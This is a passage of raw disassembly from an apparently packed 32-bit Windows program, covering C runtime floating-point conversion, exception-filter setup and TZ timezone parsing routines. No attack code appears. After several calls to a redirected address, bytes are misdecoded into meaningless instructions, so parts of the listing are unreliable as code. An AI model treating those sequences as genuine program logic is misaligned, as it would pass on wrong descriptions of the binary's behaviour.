jz short loc_423F82
or al, 10h
loc_423F82: ; CODE XREF: sub_423F5D+21j
test bl, 1
jz short loc_423F89
or al, 20h
loc_423F89: ; CODE XREF: sub_423F5D+28j
test ebx, 80000h
jz short loc_423F93
or al, 2
loc_423F93: ; CODE XREF: sub_423F5D+32j
mov ecx, ebx
mov edx, 300h
and ecx, edx
mov esi, 200h
jz short loc_423FC0
cmp ecx, 100h
jz short loc_423FBD
cmp ecx, esi
jz short loc_423FB8
cmp ecx, edx
jnz short loc_423FC0
or ah, 0Ch
jmp short loc_423FC0
; ---------------------------------------------------------------------------
loc_423FB8: ; CODE XREF: sub_423F5D+50j
or ah, 8
jmp short loc_423FC0
; ---------------------------------------------------------------------------
loc_423FBD: ; CODE XREF: sub_423F5D+4Cj
or ah, 4
loc_423FC0: ; CODE XREF: sub_423F5D+44j
; sub_423F5D+54j ...
mov ecx, ebx
and ecx, 30000h
jz short loc_423FD6
cmp ecx, 10000h
jnz short loc_423FD8
or eax, esi
jmp short loc_423FD8
; ---------------------------------------------------------------------------
loc_423FD6: ; CODE XREF: sub_423F5D+6Bj
or eax, edx
loc_423FD8: ; CODE XREF: sub_423F5D+73j
; sub_423F5D+77j
pop esi
test ebx, 40000h
pop ebx
jz short locret_423FE5
or ah, 10h
locret_423FE5: ; CODE XREF: sub_423F5D+83j
retn
sub_423F5D endp
; =============== S U B R O U T I N E =======================================
sub_423FE6 proc near ; CODE XREF: sub_424085+48p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
push esi
push 20h
cdq
pop ecx
idiv ecx
push 1Fh
mov esi, eax
mov eax, [esp+8+arg_4]
cdq
idiv ecx
pop ecx
mov eax, [esp+4+arg_0]
sub ecx, edx
or edx, 0FFFFFFFFh
shl edx, cl
not edx
test [eax+esi*4], edx
jnz short loc_42402B
inc esi
cmp esi, 3
jge short loc_424026
lea eax, [eax+esi*4]
loc_424018: ; CODE XREF: sub_423FE6+3Ej
cmp dword ptr [eax], 0
jnz short loc_42402B
inc esi
add eax, 4
cmp esi, 3
jl short loc_424018
loc_424026: ; CODE XREF: sub_423FE6+2Dj
push 1
pop eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_42402B: ; CODE XREF: sub_423FE6+27j
; sub_423FE6+35j
xor eax, eax
pop esi
retn
sub_423FE6 endp
; =============== S U B R O U T I N E =======================================
sub_42402F proc near ; CODE XREF: sub_424085+57p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
push ebx
push esi
push edi
push 20h
mov ebx, [esp+10h+arg_0]
cdq
pop ecx
idiv ecx
mov esi, eax
mov eax, [esp+0Ch+arg_4]
cdq
idiv ecx
lea edi, [ebx+esi*4]
push edi
push 1Fh
pop ecx
push 1
pop eax
sub ecx, edx
shl eax, cl
push eax
push dword ptr [edi]
call sub_424E7C
add esp, 0Ch
dec esi
js short loc_424081
lea edi, [ebx+esi*4]
loc_424068: ; CODE XREF: sub_42402F+50j
test eax, eax
jz short loc_424081
push edi
push 1
push dword ptr [edi]
call sub_424E7C
add esp, 0Ch
dec esi
sub edi, 4
test esi, esi
jge short loc_424068
loc_424081: ; CODE XREF: sub_42402F+34j
; sub_42402F+3Bj
pop edi
pop esi
pop ebx
retn
sub_42402F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424085 proc near ; CODE XREF: sub_4241E0+81p
; sub_4241E0+CCp
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, [ebp+arg_4]
push ebx
push esi
push edi
lea edi, [eax-1]
push 20h
pop ecx
and [ebp+var_4], 0
lea ebx, [edi+1]
push 20h
mov eax, ebx
pop esi
cdq
idiv ecx
push 1Fh
mov ecx, eax
mov eax, ebx
cdq
idiv esi
mov eax, [ebp+arg_0]
pop esi
push 1
mov [ebp+var_8], ecx
lea eax, [eax+ecx*4]
mov [ebp+arg_4], eax
sub esi, edx
pop edx
mov ecx, esi
shl edx, cl
test [eax], edx
jz short loc_4240E9
inc ebx
push ebx
push [ebp+arg_0]
call sub_423FE6
pop ecx
test eax, eax
pop ecx
jnz short loc_4240E6
push edi
push [ebp+arg_0]
call sub_42402F
pop ecx
mov [ebp+var_4], eax
pop ecx
loc_4240E6: ; CODE XREF: sub_424085+51j
mov eax, [ebp+arg_4]
loc_4240E9: ; CODE XREF: sub_424085+41j
or edx, 0FFFFFFFFh
mov ecx, esi
shl edx, cl
push 3
pop ecx
and [eax], edx
mov eax, [ebp+var_8]
inc eax
cmp eax, ecx
jge short loc_424109
mov edx, [ebp+arg_0]
sub ecx, eax
lea edi, [edx+eax*4]
xor eax, eax
rep stosd
loc_424109: ; CODE XREF: sub_424085+76j
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
leave
retn
sub_424085 endp
; =============== S U B R O U T I N E =======================================
sub_424111 proc near ; CODE XREF: sub_4241E0+75p
; sub_4241E0+B6p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push esi
push 3
sub ecx, eax
pop edx
loc_42411F: ; CODE XREF: sub_424111+17j
mov esi, [eax]
mov [ecx+eax], esi
add eax, 4
dec edx
jnz short loc_42411F
pop esi
retn
sub_424111 endp
; =============== S U B R O U T I N E =======================================
sub_42412C proc near ; CODE XREF: sub_4241E0+5Fp
; sub_4241E0+9Ep ...
arg_0 = dword ptr 4
push edi
mov edi, [esp+4+arg_0]
xor eax, eax
stosd
stosd
stosd
pop edi
retn
sub_42412C endp
; =============== S U B R O U T I N E =======================================
sub_424138 proc near ; CODE XREF: sub_4241E0+4Dp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
xor ecx, ecx
loc_42413E: ; CODE XREF: sub_424138+12j
cmp dword ptr [eax], 0
jnz short loc_424150
inc ecx
add eax, 4
cmp ecx, 3
jl short loc_42413E
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_424150: ; CODE XREF: sub_424138+9j
xor eax, eax
retn
sub_424138 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424153 proc near ; CODE XREF: sub_4241E0+C0p
; sub_4241E0+DAp ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [ebp+arg_4]
push ebx
push esi
push edi
push 20h
mov edi, [ebp+arg_0]
pop ebx
or esi, 0FFFFFFFFh
cdq
mov ecx, ebx
mov [ebp+var_4], 3
idiv ecx
mov [ebp+var_C], eax
mov eax, [ebp+arg_4]
cdq
idiv ecx
and [ebp+arg_4], 0
mov ecx, edx
shl esi, cl
sub ebx, edx
not esi
loc_424189: ; CODE XREF: sub_424153+58j
mov eax, [edi]
mov ecx, eax
and ecx, esi
mov [ebp+var_8], ecx
mov ecx, edx
shr eax, cl
or eax, [ebp+arg_4]
mov [edi], eax
mov eax, [ebp+var_8]
mov ecx, ebx
add edi, 4
shl eax, cl
dec [ebp+var_4]
mov [ebp+arg_4], eax
jnz short loc_424189
mov edi, [ebp+var_C]
push 2
pop ebx
mov esi, edi
push 8
pop ecx
shl esi, 2
loc_4241BB: ; CODE XREF: sub_424153+86j
cmp ebx, edi
jl short loc_4241CE
mov edx, [ebp+arg_0]
mov eax, ecx
sub eax, esi
mov eax, [eax+edx]
mov [ecx+edx], eax
jmp short loc_4241D5
; ---------------------------------------------------------------------------
loc_4241CE: ; CODE XREF: sub_424153+6Aj
mov eax, [ebp+arg_0]
and dword ptr [ecx+eax], 0
loc_4241D5: ; CODE XREF: sub_424153+79j
dec ebx
sub ecx, 4
jns short loc_4241BB
pop edi
pop esi
pop ebx
leave
retn
sub_424153 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4241E0 proc near ; CODE XREF: sub_42434C+Dp
; sub_424362+Dp
var_18 = byte ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 18h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
movzx ecx, word ptr [eax+0Ah]
mov ebx, ecx
and ecx, 8000h
mov [ebp+arg_0], ecx
mov ecx, [eax+6]
mov [ebp+var_C], ecx
mov ecx, [eax+2]
movzx eax, word ptr [eax]
mov edi, [ebp+arg_8]
and ebx, 7FFFh
sub ebx, 3FFFh
mov [ebp+var_8], ecx
shl eax, 10h
cmp ebx, 0FFFFC001h
mov [ebp+var_4], eax
jnz short loc_42424D
lea eax, [ebp+var_C]
xor esi, esi
push eax
call sub_424138
test eax, eax
pop ecx
jnz loc_42430C
lea eax, [ebp+var_C]
push eax
call sub_42412C
pop ecx
loc_424245: ; CODE XREF: sub_4241E0+E4j
push 2
loc_424247: ; CODE XREF: sub_4241E0+110j
pop eax
jmp loc_42430E
; ---------------------------------------------------------------------------
loc_42424D: ; CODE XREF: sub_4241E0+45j
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_18]
push eax
call sub_424111
push dword ptr [edi+8]
lea eax, [ebp+var_C]
push eax
call sub_424085
add esp, 10h
test eax, eax
jz short loc_42426E
inc ebx
loc_42426E: ; CODE XREF: sub_4241E0+8Bj
mov eax, [edi+4]
mov ecx, eax
sub ecx, [edi+8]
cmp ebx, ecx
jge short loc_424286
lea eax, [ebp+var_C]
push eax
call sub_42412C
pop ecx
jmp short loc_4242C2
; ---------------------------------------------------------------------------
loc_424286: ; CODE XREF: sub_4241E0+98j
cmp ebx, eax
jg short loc_4242C9
sub eax, ebx
mov esi, eax
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_C]
push eax
call sub_424111
lea eax, [ebp+var_C]
push esi
push eax
call sub_424153
push dword ptr [edi+8]
lea eax, [ebp+var_C]
push eax
call sub_424085
mov eax, [edi+0Ch]
inc eax
push eax
lea eax, [ebp+var_C]
push eax
call sub_424153
add esp, 20h
loc_4242C2: ; CODE XREF: sub_4241E0+A4j
xor esi, esi
jmp loc_424245
; ---------------------------------------------------------------------------
loc_4242C9: ; CODE XREF: sub_4241E0+A8j
cmp ebx, [edi]
jl short loc_4242F5
lea eax, [ebp+var_C]
push eax
call sub_42412C
push dword ptr [edi+0Ch]
or byte ptr [ebp+var_C+3], 80h
lea eax, [ebp+var_C]
push eax
call sub_424153
mov esi, [edi+14h]
add esp, 0Ch
add esi, [edi]
push 1
jmp loc_424247
; ---------------------------------------------------------------------------
loc_4242F5: ; CODE XREF: sub_4241E0+EBj
push dword ptr [edi+0Ch]
mov esi, [edi+14h]
and byte ptr [ebp+var_C+3], 7Fh
lea eax, [ebp+var_C]
push eax
add esi, ebx
call sub_424153
pop ecx
pop ecx
loc_42430C: ; CODE XREF: sub_4241E0+55j
xor eax, eax
loc_42430E: ; CODE XREF: sub_4241E0+68j
push 1Fh
pop ecx
sub ecx, [edi+0Ch]
mov edi, [edi+10h]
shl esi, cl
mov ecx, [ebp+arg_0]
neg ecx
sbb ecx, ecx
and ecx, 80000000h
or esi, ecx
or esi, [ebp+var_C]
cmp edi, 40h
jnz short loc_42433D
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_8]
mov [ecx+4], esi
mov [ecx], edx
jmp short loc_424347
; ---------------------------------------------------------------------------
loc_42433D: ; CODE XREF: sub_4241E0+14Ej
cmp edi, 20h
jnz short loc_424347
mov ecx, [ebp+arg_4]
mov [ecx], esi
loc_424347: ; CODE XREF: sub_4241E0+15Bj
; sub_4241E0+160j
pop edi
pop esi
pop ebx
leave
retn
sub_4241E0 endp
; =============== S U B R O U T I N E =======================================
sub_42434C proc near ; CODE XREF: sub_424378+23p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push offset dword_442EE8
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_4241E0
add esp, 0Ch
retn
sub_42434C endp
; =============== S U B R O U T I N E =======================================
sub_424362 proc near ; CODE XREF: sub_4243A5+23p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push offset dword_442F00
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_4241E0
add esp, 0Ch
retn
sub_424362 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424378 proc near ; CODE XREF: sub_421800+12p
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
xor eax, eax
push eax
push eax
push eax
push eax
push [ebp+arg_4]
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_C]
push eax
call sub_42501D
push [ebp+arg_0]
lea eax, [ebp+var_C]
push eax
call sub_42434C
add esp, 24h
leave
retn
sub_424378 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4243A5 proc near ; CODE XREF: sub_421800+2Dp
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
xor eax, eax
push eax
push eax
push eax
push eax
push [ebp+arg_4]
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_C]
push eax
call sub_42501D
push [ebp+arg_0]
lea eax, [ebp+var_C]
push eax
call sub_424362
add esp, 24h
leave
retn
sub_4243A5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4243D2 proc near ; CODE XREF: sub_42183E+65p
; sub_421942+63p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov edx, [ebp+arg_8]
push ebx
mov ebx, [ebp+arg_4]
push esi
mov esi, [ebp+arg_0]
mov ecx, [edx+0Ch]
push edi
lea edi, [esi+1]
mov byte ptr [esi], 30h
test ebx, ebx
mov eax, edi
jle short loc_42440F
mov [ebp+arg_0], ebx
xor ebx, ebx
loc_4243F5: ; CODE XREF: sub_4243D2+38j
mov dl, [ecx]
test dl, dl
jz short loc_424401
movsx edx, dl
inc ecx
jmp short loc_424404
; ---------------------------------------------------------------------------
loc_424401: ; CODE XREF: sub_4243D2+27j
push 30h
pop edx
loc_424404: ; CODE XREF: sub_4243D2+2Dj
mov [eax], dl
inc eax
dec [ebp+arg_0]
jnz short loc_4243F5
mov edx, [ebp+arg_8]
loc_42440F: ; CODE XREF: sub_4243D2+1Cj
and byte ptr [eax], 0
test ebx, ebx
jl short loc_424428
cmp byte ptr [ecx], 35h
jl short loc_424428
loc_42441B: ; CODE XREF: sub_4243D2+52j
dec eax
cmp byte ptr [eax], 39h
jnz short loc_424426
mov byte ptr [eax], 30h
jmp short loc_42441B
; ---------------------------------------------------------------------------
loc_424426: ; CODE XREF: sub_4243D2+4Dj
inc byte ptr [eax]
loc_424428: ; CODE XREF: sub_4243D2+42j
; sub_4243D2+47j
cmp byte ptr [esi], 31h
jnz short loc_424432
inc dword ptr [edx+4]
jmp short loc_424444
; ---------------------------------------------------------------------------
loc_424432: ; CODE XREF: sub_4243D2+59j
push edi
call sub_41B890
inc eax
push eax
push edi
push esi
call sub_41D330
add esp, 10h
loc_424444: ; CODE XREF: sub_4243D2+5Ej
pop edi
pop esi
pop ebx
pop ebp
retn
sub_4243D2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424449 proc near ; CODE XREF: sub_42183E+3Fp
; sub_421942+46p ...
var_C = byte ptr -0Ch
arg_0 = byte ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push esi
lea eax, [ebp+arg_0]
push edi
push eax
lea eax, [ebp+var_C]
push eax
call sub_4244AD
pop ecx
lea esi, [ebp+var_C]
pop ecx
push offset word_4E16E8
push 0
push 11h
sub esp, 0Ch
mov edi, esp
movsd
movsd
movsw
call sub_4254EE
mov dword_4E1710, eax
add esp, 18h
movsx eax, byte_4E16EA
mov dword_4E1708, eax
pop edi
movsx eax, word_4E16E8
mov dword_4E170C, eax
mov dword_4E1714, offset dword_4E16EC
mov eax, offset dword_4E1708
pop esi
leave
retn
sub_424449 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4244AD proc near ; CODE XREF: sub_424449+10p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov edx, [ebp+arg_4]
push ebx
push esi
push edi
mov ax, [edx+6]
mov edi, 7FFh
mov ecx, eax
and eax, 8000h
shr ecx, 4
and ecx, edi
mov [ebp+arg_4], eax
mov eax, [edx+4]
mov edx, [edx]
movzx ebx, cx
mov esi, 80000000h
and eax, 0FFFFFh
test ebx, ebx
mov [ebp+var_4], esi
jz short loc_4244FB
cmp ebx, edi
jz short loc_4244F4
lea edi, [ecx+3C00h]
jmp short loc_42451C
; ---------------------------------------------------------------------------
loc_4244F4: ; CODE XREF: sub_4244AD+3Dj
mov edi, 7FFFh
jmp short loc_42451C
; ---------------------------------------------------------------------------
loc_4244FB: ; CODE XREF: sub_4244AD+39j
xor ebx, ebx
cmp eax, ebx
jnz short loc_424513
cmp edx, ebx
jnz short loc_424513
mov eax, [ebp+arg_0]
mov [eax+4], ebx
mov [eax], ebx
mov [eax+8], bx
jmp short loc_42455E
; ---------------------------------------------------------------------------
loc_424513: ; CODE XREF: sub_4244AD+52j
; sub_4244AD+56j
lea edi, [ecx+3C01h]
mov [ebp+var_4], ebx
loc_42451C: ; CODE XREF: sub_4244AD+45j
; sub_4244AD+4Cj
mov ecx, edx
shr ecx, 15h
shl eax, 0Bh
or ecx, eax
mov eax, [ebp+arg_0]
or ecx, [ebp+var_4]
shl edx, 0Bh
mov [eax+4], ecx
mov [eax], edx
loc_424534: ; CODE XREF: sub_4244AD+A6j
test ecx, esi
jnz short loc_424555
mov edx, [eax]
add ecx, ecx
mov ebx, edx
shr ebx, 1Fh
or ebx, ecx
lea ecx, [edx+edx]
mov [eax], ecx
mov [eax+4], ebx
add edi, 0FFFFh
mov ecx, ebx
jmp short loc_424534
; ---------------------------------------------------------------------------
loc_424555: ; CODE XREF: sub_4244AD+89j
mov ecx, [ebp+arg_4]
or ecx, edi
mov [eax+8], cx
loc_42455E: ; CODE XREF: sub_4244AD+64j
pop edi
pop esi
pop ebx
leave
retn
sub_4244AD endp
; =============== S U B R O U T I N E =======================================
sub_424563 proc near ; CODE XREF: sub_41F504+3AAp
; sub_41F504+3CBp ...
push 2
call sub_41E0F9
pop ecx
retn
sub_424563 endp
; =============== S U B R O U T I N E =======================================
sub_42456C proc near ; DATA XREF: sub_4245B2o
; .nsp0:00442B20o ...
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov eax, [esi]
cmp dword ptr [eax], 0E06D7363h
jnz short loc_42458F
cmp dword ptr [eax+10h], 3
jnz short loc_42458F
cmp dword ptr [eax+14h], 19930520h
jnz short loc_42458F
jmp sub_4223CC
; ---------------------------------------------------------------------------
loc_42458F: ; CODE XREF: sub_42456C+Dj
; sub_42456C+13j ...
mov eax, dword_4E1718
test eax, eax
jz short loc_4245AC
push eax
call sub_424608
test eax, eax
pop ecx
jz short loc_4245AC
push esi
call dword_4E1718
jmp short loc_4245AE
; ---------------------------------------------------------------------------
loc_4245AC: ; CODE XREF: sub_42456C+2Aj
; sub_42456C+35j
xor eax, eax
loc_4245AE: ; CODE XREF: sub_42456C+3Ej
pop esi
retn 4
sub_42456C endp
; =============== S U B R O U T I N E =======================================
sub_4245B2 proc near ; DATA XREF: .nsp0:00429030o
push offset sub_42456C
call dword_42701C ; SetUnhandledExceptionFilter
mov dword_4E1718, eax
retn
sub_4245B2 endp
; ---------------------------------------------------------------------------
push dword_4E1718
call dword_42701C ; SetUnhandledExceptionFilter
retn
; =============== S U B R O U T I N E =======================================
sub_4245D0 proc near ; CODE XREF: sub_421C16+6Bp
; sub_422127+61p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push 1
pop esi
push [esp+4+arg_4]
push [esp+8+arg_0]
call near ptr 0B40000h
int 3 ; Trap to Debugger
test eax, eax
jz short loc_4245E8
xor esi, esi
loc_4245E8: ; CODE XREF: sub_4245D0+14j
mov eax, esi
pop esi
retn
sub_4245D0 endp
; =============== S U B R O U T I N E =======================================
sub_4245EC proc near ; CODE XREF: sub_422127+73p
; sub_422127+BFp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push 1
pop esi
push [esp+4+arg_4]
push [esp+8+arg_0]
call near ptr 0B40000h
cld
test eax, eax
jz short loc_424604
xor esi, esi
loc_424604: ; CODE XREF: sub_4245EC+14j
mov eax, esi
pop esi
retn
sub_4245EC endp
; =============== S U B R O U T I N E =======================================
sub_424608 proc near ; CODE XREF: sub_422127+15Bp
; sub_42456C+2Dp
arg_0 = dword ptr 4
push esi
push 1
pop esi
push [esp+4+arg_0]
call near ptr 0B40000h
mov ch, 85h
sal byte ptr [edx+eax+33h], 0F6h
mov eax, esi
pop esi
retn
sub_424608 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4223CC
loc_424620: ; CODE XREF: sub_4223CC:loc_42241Dj
push 0Ah
call sub_4234E5
push 16h
call sub_425781
pop ecx
pop ecx
push 3
call sub_41BE72
; END OF FUNCTION CHUNK FOR sub_4223CC
; =============== S U B R O U T I N E =======================================
sub_424637 proc near ; CODE XREF: sub_4224A1:loc_4224E0p
cmp dword_4E17D8, 0
jnz short locret_42464B
call sub_42464C
inc dword_4E17D8
locret_42464B: ; CODE XREF: sub_424637+7j
retn
sub_424637 endp
; =============== S U B R O U T I N E =======================================
sub_42464C proc near ; CODE XREF: sub_424637+9p
var_4 = dword ptr -4
push ecx
push ebx
push ebp
push esi
push edi
xor ebp, ebp
or ebx, 0FFFFFFFFh
push offset aTz ; "TZ"
xor edi, edi
mov dword_4E1720, ebp
mov dword_442FC0, ebx
mov dword_442FB0, ebx
call sub_4258F3
mov esi, eax
pop ecx
cmp esi, ebp
jnz loc_424775
push offset dword_4E1728
call near ptr 0B40000h
cmp byte ptr [ebx], 0C3h
jz loc_4248A4
mov eax, dword_4E1728
mov ecx, dword_4E177C
imul eax, 3Ch
cmp word_4E176E, bp
push 1
pop edx
mov dword_442F18, eax
mov dword_4E1720, edx
jz short loc_4246C3
mov esi, ecx
imul esi, 3Ch
add eax, esi
mov dword_442F18, eax
loc_4246C3: ; CODE XREF: sub_42464C+69j
cmp word_4E17C2, bp
jz short loc_4246E7
mov eax, dword_4E17D0
cmp eax, ebp
jz short loc_4246E7
sub eax, ecx
mov dword_442F1C, edx
imul eax, 3Ch
mov dword_442F20, eax
jmp short loc_4246F3
; ---------------------------------------------------------------------------
loc_4246E7: ; CODE XREF: sub_42464C+7Ej
; sub_42464C+87j
mov dword_442F1C, ebp
mov dword_442F20, ebp
loc_4246F3: ; CODE XREF: sub_42464C+99j
lea eax, [esp+14h+var_4]
mov esi, dword_427180
push eax
push ebp
push 3Fh
mov edi, 220h
push off_442FA4
push ebx
push offset dword_4E172C
push edi
push dword_4E15C0
call esi ; dword_427180
test eax, eax
jz short loc_424730
cmp [esp+14h+var_4], ebp
jnz short loc_424730
mov eax, off_442FA4
and byte ptr [eax+3Fh], 0
jmp short loc_424738
; ---------------------------------------------------------------------------
loc_424730: ; CODE XREF: sub_42464C+D1j
; sub_42464C+D7j
mov eax, off_442FA4
and byte ptr [eax], 0
loc_424738: ; CODE XREF: sub_42464C+E2j
lea eax, [esp+14h+var_4]
push eax
push ebp
push 3Fh
push off_442FA8
push ebx
push offset dword_4E1780
push edi
push dword_4E15C0
call esi ; dword_427180
test eax, eax
jz loc_42489C
cmp [esp+14h+var_4], ebp
jnz loc_42489C
mov eax, off_442FA8
and byte ptr [eax+3Fh], 0
jmp loc_4248A4
; ---------------------------------------------------------------------------
loc_424775: ; CODE XREF: sub_42464C+2Dj
cmp byte ptr [esi], 0
jz loc_4248A4
mov eax, dword_4E17D4
cmp eax, ebp
jz short loc_424798
push eax
push esi
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_4248A4
loc_424798: ; CODE XREF: sub_42464C+139j
push dword_4E17D4
call sub_41B961
push esi
call sub_41B890
inc eax
push eax
call sub_41BBCB
add esp, 0Ch
cmp eax, ebp
mov dword_4E17D4, eax
jz loc_4248A4
push esi
push eax
call sub_41C550
push 3
push esi
push off_442FA4
call sub_41BCA0
mov eax, off_442FA4
add esi, 3
add esp, 14h
and byte ptr [eax+3], 0
cmp byte ptr [esi], 2Dh
jnz short loc_4247ED
push 1
inc esi
pop edi
loc_4247ED: ; CODE XREF: sub_42464C+19Bj
push esi
call sub_41BD9E
pop ecx
mov bl, 30h
mov ecx, eax
imul ecx, 0E10h
mov dword_442F18, ecx
loc_424804: ; CODE XREF: sub_42464C+1C7j
mov al, [esi]
cmp al, 2Bh
jz short loc_424812
cmp al, bl
jl short loc_424815
cmp al, 39h
jg short loc_424815
loc_424812: ; CODE XREF: sub_42464C+1BCj
inc esi
jmp short loc_424804
; ---------------------------------------------------------------------------
loc_424815: ; CODE XREF: sub_42464C+1C0j
; sub_42464C+1C4j
cmp byte ptr [esi], 3Ah
jnz short loc_424868
inc esi
push esi
call sub_41BD9E
imul eax, 3Ch
pop ecx
mov ecx, dword_442F18
add ecx, eax
mov dword_442F18, ecx
loc_424833: ; CODE XREF: sub_42464C+1F2j
mov al, [esi]
cmp al, bl
jl short loc_424840
cmp al, 39h
jg short loc_424840
inc esi
jmp short loc_424833
; ---------------------------------------------------------------------------
loc_424840: ; CODE XREF: sub_42464C+1EBj
; sub_42464C+1EFj
cmp byte ptr [esi], 3Ah
jnz short loc_424868
inc esi
push esi
call sub_41BD9E
pop ecx
mov ecx, dword_442F18
add ecx, eax
mov dword_442F18, ecx
loc_42485B: ; CODE XREF: sub_42464C+21Aj
mov al, [esi]
cmp al, bl
jl short loc_424868
cmp al, 39h
jg short loc_424868
inc esi
jmp short loc_42485B
; ---------------------------------------------------------------------------
loc_424868: ; CODE XREF: sub_42464C+1CCj
; sub_42464C+1F7j ...
cmp edi, ebp
jz short loc_424874
neg ecx
mov dword_442F18, ecx
loc_424874: ; CODE XREF: sub_42464C+21Ej
movsx eax, byte ptr [esi]
cmp eax, ebp
mov dword_442F1C, eax
jz short loc_42489C
push 3
push esi
push off_442FA8
call sub_41BCA0
mov eax, off_442FA8
add esp, 0Ch
and byte ptr [eax+3], 0
jmp short loc_4248A4
; ---------------------------------------------------------------------------
loc_42489C: ; CODE XREF: sub_42464C+10Bj
; sub_42464C+115j ...
mov eax, off_442FA8
and byte ptr [eax], 0
loc_4248A4: ; CODE XREF: sub_42464C+40j
; sub_42464C+124j ...
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
sub_42464C endp
; =============== S U B R O U T I N E =======================================
sub_4248AA proc near ; CODE XREF: sub_4224A1+A5p
arg_0 = dword ptr 4
push ebx
push esi
push edi
xor edi, edi
cmp dword_442F1C, edi
jnz short loc_4248BE
loc_4248B7: ; CODE XREF: sub_4248AA+148j
; sub_4248AA+150j ...
xor eax, eax
jmp loc_424A0A
; ---------------------------------------------------------------------------
loc_4248BE: ; CODE XREF: sub_4248AA+Bj
mov esi, [esp+0Ch+arg_0]
push 1
pop ebx
mov eax, [esi+14h]
cmp eax, dword_442FB0
jnz short loc_4248DC
cmp eax, dword_442FC0
jz loc_4249DE
loc_4248DC: ; CODE XREF: sub_4248AA+24j
cmp dword_4E1720, edi
jz loc_4249B4
movzx ecx, word_4E17CE
push ecx
cmp word_4E17C0, di
movzx ecx, word_4E17CC
push ecx
movzx ecx, word_4E17CA
push ecx
movzx ecx, word_4E17C8
push ecx
jnz short loc_42492E
movzx ecx, word_4E17C4
push edi
push ecx
movzx ecx, word_4E17C6
push ecx
movzx ecx, word_4E17C2
push ecx
push eax
push ebx
jmp short loc_424942
; ---------------------------------------------------------------------------
loc_42492E: ; CODE XREF: sub_4248AA+65j
movzx ecx, word_4E17C6
push ecx
push edi
movzx ecx, word_4E17C2
push edi
push ecx
push eax
push edi
loc_424942: ; CODE XREF: sub_4248AA+82j
push ebx
call sub_424A56
movzx eax, word_4E177A
add esp, 2Ch
cmp word_4E176C, di
push eax
movzx eax, word_4E1778
push eax
movzx eax, word_4E1776
push eax
movzx eax, word_4E1774
push eax
jnz short loc_42499C
movzx eax, word_4E1770
push edi
push eax
movzx eax, word_4E1772
push eax
movzx eax, word_4E176E
push eax
push dword ptr [esi+14h]
push ebx
loc_424991: ; CODE XREF: sub_4248AA+108j
push edi
call sub_424A56
add esp, 2Ch
jmp short loc_4249DE
; ---------------------------------------------------------------------------
loc_42499C: ; CODE XREF: sub_4248AA+C8j
movzx eax, word_4E1772
push eax
push edi
movzx eax, word_4E176E
push edi
push eax
push dword ptr [esi+14h]
push edi
jmp short loc_424991
; ---------------------------------------------------------------------------
loc_4249B4: ; CODE XREF: sub_4248AA+38j
push edi
push edi
push edi
push 2
push edi
push edi
push ebx
push 4
push eax
push ebx
push ebx
call sub_424A56
push edi
push edi
push edi
push 2
push edi
push edi
push 5
push 0Ah
push dword ptr [esi+14h]
push ebx
push edi
call sub_424A56
add esp, 58h
loc_4249DE: ; CODE XREF: sub_4248AA+2Cj
; sub_4248AA+F0j
mov edx, dword_442FB4
mov eax, dword_442FC4
mov ecx, [esi+1Ch]
cmp edx, eax
jge short loc_424A0E
cmp ecx, edx
jl loc_4248B7
cmp ecx, eax
jg loc_4248B7
cmp ecx, edx
jle short loc_424A22
cmp ecx, eax
jge short loc_424A22
loc_424A08: ; CODE XREF: sub_4248AA+166j
; sub_4248AA+16Aj
mov eax, ebx
loc_424A0A: ; CODE XREF: sub_4248AA+Fj
